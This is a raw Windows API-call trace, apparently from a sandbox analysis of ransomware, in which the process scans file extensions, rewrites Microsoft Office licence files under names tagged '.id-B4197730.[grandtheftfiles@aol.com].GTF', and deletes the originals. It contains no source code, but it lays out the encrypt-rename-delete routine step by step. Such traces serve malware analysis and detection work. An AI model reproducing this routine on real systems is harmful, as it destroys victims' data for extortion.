	[0183.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms") returned 79
	[0183.327] lstrlenW (lpString=".zip") returned 4
	[0183.327] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.327] lstrlenW (lpString=".rar") returned 4
	[0183.327] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.327] lstrlenW (lpString=".bz2") returned 4
	[0183.327] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.327] lstrlenW (lpString=".7z") returned 3
	[0183.327] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms") returned 79
	[0183.327] lstrlenW (lpString=".dbf") returned 4
	[0183.327] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms") returned 79
	[0183.328] lstrlenW (lpString=".1cd") returned 4
	[0183.328] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms") returned 79
	[0183.328] lstrlenW (lpString=".jpg") returned 4
	[0183.328] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.328] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0183.328] lstrlenW (lpString="OutlookR_Retail-ul-phn.xrm-ms") returned 29
	[0183.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0183.329] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=19929) returned 1
	[0183.329] CloseHandle (hObject=0x42c) returned 1
	[0183.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-phn.xrm-ms")) returned 0x220
	[0183.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0183.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0183.330] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.330] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0183.331] GetLastError () returned 0x0
	[0183.331] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x4dd9, lpOverlapped=0x0) returned 1
	[0183.333] WriteFile (in: hFile=0x538, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0183.334] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.334] WriteFile (in: hFile=0x538, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0183.334] SetEndOfFile (hFile=0x538) returned 1
	[0183.334] CloseHandle (hObject=0x538) returned 1
	[0183.334] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.334] SetEndOfFile (hFile=0x42c) returned 1
	[0183.337] CloseHandle (hObject=0x42c) returned 1
	[0183.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.338] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-phn.xrm-ms")) returned 1
	[0183.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms") returned 79
	[0183.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms") returned 79
	[0183.339] lstrlenW (lpString=".doc") returned 4
	[0183.339] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.339] lstrlenW (lpString=".docx") returned 5
	[0183.339] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.339] lstrlenW (lpString=".pdf") returned 4
	[0183.339] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.339] lstrlenW (lpString=".xls") returned 4
	[0183.339] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.339] lstrlenW (lpString=".xlsx") returned 5
	[0183.339] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.339] lstrlenW (lpString=".ppt") returned 4
	[0183.339] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms") returned 79
	[0183.339] lstrlenW (lpString=".zip") returned 4
	[0183.339] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.339] lstrlenW (lpString=".rar") returned 4
	[0183.339] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.339] lstrlenW (lpString=".bz2") returned 4
	[0183.339] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.339] lstrlenW (lpString=".7z") returned 3
	[0183.339] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms") returned 79
	[0183.339] lstrlenW (lpString=".dbf") returned 4
	[0183.339] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms") returned 79
	[0183.339] lstrlenW (lpString=".1cd") returned 4
	[0183.339] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms") returned 79
	[0183.339] lstrlenW (lpString=".jpg") returned 4
	[0183.339] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms") returned 79
	[0183.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms") returned 79
	[0183.340] lstrlenW (lpString=".doc") returned 4
	[0183.340] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.340] lstrlenW (lpString=".docx") returned 5
	[0183.340] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.340] lstrlenW (lpString=".pdf") returned 4
	[0183.340] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.340] lstrlenW (lpString=".xls") returned 4
	[0183.340] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.340] lstrlenW (lpString=".xlsx") returned 5
	[0183.340] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.340] lstrlenW (lpString=".ppt") returned 4
	[0183.340] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms") returned 79
	[0183.340] lstrlenW (lpString=".zip") returned 4
	[0183.340] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.340] lstrlenW (lpString=".rar") returned 4
	[0183.340] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.340] lstrlenW (lpString=".bz2") returned 4
	[0183.340] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.340] lstrlenW (lpString=".7z") returned 3
	[0183.340] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms") returned 79
	[0183.340] lstrlenW (lpString=".dbf") returned 4
	[0183.340] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms") returned 79
	[0183.340] lstrlenW (lpString=".1cd") returned 4
	[0183.340] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms") returned 79
	[0183.340] lstrlenW (lpString=".jpg") returned 4
	[0183.340] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.341] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0183.341] lstrlenW (lpString="OutlookR_Trial-pl.xrm-ms") returned 24
	[0183.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0183.341] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11147) returned 1
	[0183.341] CloseHandle (hObject=0x42c) returned 1
	[0183.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-pl.xrm-ms")) returned 0x220
	[0183.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0183.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0183.342] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.342] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0183.343] GetLastError () returned 0x0
	[0183.343] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2b8b, lpOverlapped=0x0) returned 1
	[0183.558] WriteFile (in: hFile=0x538, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2b90, lpOverlapped=0x0) returned 1
	[0183.559] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.559] WriteFile (in: hFile=0x538, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x104, lpOverlapped=0x0) returned 1
	[0183.559] SetEndOfFile (hFile=0x538) returned 1
	[0183.559] CloseHandle (hObject=0x538) returned 1
	[0183.560] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.560] SetEndOfFile (hFile=0x42c) returned 1
	[0183.562] CloseHandle (hObject=0x42c) returned 1
	[0183.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.564] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-pl.xrm-ms")) returned 1
	[0183.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms") returned 74
	[0183.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms") returned 74
	[0183.565] lstrlenW (lpString=".doc") returned 4
	[0183.565] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.565] lstrlenW (lpString=".docx") returned 5
	[0183.565] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.565] lstrlenW (lpString=".pdf") returned 4
	[0183.565] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.565] lstrlenW (lpString=".xls") returned 4
	[0183.565] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.565] lstrlenW (lpString=".xlsx") returned 5
	[0183.565] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.565] lstrlenW (lpString=".ppt") returned 4
	[0183.565] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms") returned 74
	[0183.565] lstrlenW (lpString=".zip") returned 4
	[0183.565] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.565] lstrlenW (lpString=".rar") returned 4
	[0183.565] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.565] lstrlenW (lpString=".bz2") returned 4
	[0183.565] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.565] lstrlenW (lpString=".7z") returned 3
	[0183.565] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms") returned 74
	[0183.565] lstrlenW (lpString=".dbf") returned 4
	[0183.565] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms") returned 74
	[0183.566] lstrlenW (lpString=".1cd") returned 4
	[0183.566] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms") returned 74
	[0183.566] lstrlenW (lpString=".jpg") returned 4
	[0183.566] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms") returned 74
	[0183.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms") returned 74
	[0183.566] lstrlenW (lpString=".doc") returned 4
	[0183.566] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.566] lstrlenW (lpString=".docx") returned 5
	[0183.566] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.566] lstrlenW (lpString=".pdf") returned 4
	[0183.566] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.566] lstrlenW (lpString=".xls") returned 4
	[0183.566] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.566] lstrlenW (lpString=".xlsx") returned 5
	[0183.566] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.566] lstrlenW (lpString=".ppt") returned 4
	[0183.566] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms") returned 74
	[0183.566] lstrlenW (lpString=".zip") returned 4
	[0183.566] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.566] lstrlenW (lpString=".rar") returned 4
	[0183.566] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.566] lstrlenW (lpString=".bz2") returned 4
	[0183.566] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.566] lstrlenW (lpString=".7z") returned 3
	[0183.566] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms") returned 74
	[0183.566] lstrlenW (lpString=".dbf") returned 4
	[0183.566] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms") returned 74
	[0183.566] lstrlenW (lpString=".1cd") returned 4
	[0183.566] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms") returned 74
	[0183.567] lstrlenW (lpString=".jpg") returned 4
	[0183.567] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.567] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0183.567] lstrlenW (lpString="OutlookVL_KMS_Client-ul.xrm-ms") returned 30
	[0183.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0183.568] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=9611) returned 1
	[0183.568] CloseHandle (hObject=0x42c) returned 1
	[0183.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul.xrm-ms")) returned 0x220
	[0183.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0183.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0183.568] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.568] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0183.569] GetLastError () returned 0x0
	[0183.569] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x258b, lpOverlapped=0x0) returned 1
	[0183.571] WriteFile (in: hFile=0x538, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2590, lpOverlapped=0x0) returned 1
	[0183.572] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.572] WriteFile (in: hFile=0x538, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x110, lpOverlapped=0x0) returned 1
	[0183.572] SetEndOfFile (hFile=0x538) returned 1
	[0183.573] CloseHandle (hObject=0x538) returned 1
	[0183.573] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.573] SetEndOfFile (hFile=0x42c) returned 1
	[0183.576] CloseHandle (hObject=0x42c) returned 1
	[0183.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.576] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul.xrm-ms")) returned 1
	[0183.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms") returned 80
	[0183.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms") returned 80
	[0183.577] lstrlenW (lpString=".doc") returned 4
	[0183.577] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.577] lstrlenW (lpString=".docx") returned 5
	[0183.577] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.577] lstrlenW (lpString=".pdf") returned 4
	[0183.577] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.577] lstrlenW (lpString=".xls") returned 4
	[0183.577] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.577] lstrlenW (lpString=".xlsx") returned 5
	[0183.577] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.577] lstrlenW (lpString=".ppt") returned 4
	[0183.578] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms") returned 80
	[0183.578] lstrlenW (lpString=".zip") returned 4
	[0183.578] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.578] lstrlenW (lpString=".rar") returned 4
	[0183.578] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.578] lstrlenW (lpString=".bz2") returned 4
	[0183.578] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.578] lstrlenW (lpString=".7z") returned 3
	[0183.578] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms") returned 80
	[0183.578] lstrlenW (lpString=".dbf") returned 4
	[0183.578] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms") returned 80
	[0183.578] lstrlenW (lpString=".1cd") returned 4
	[0183.578] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms") returned 80
	[0183.578] lstrlenW (lpString=".jpg") returned 4
	[0183.578] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
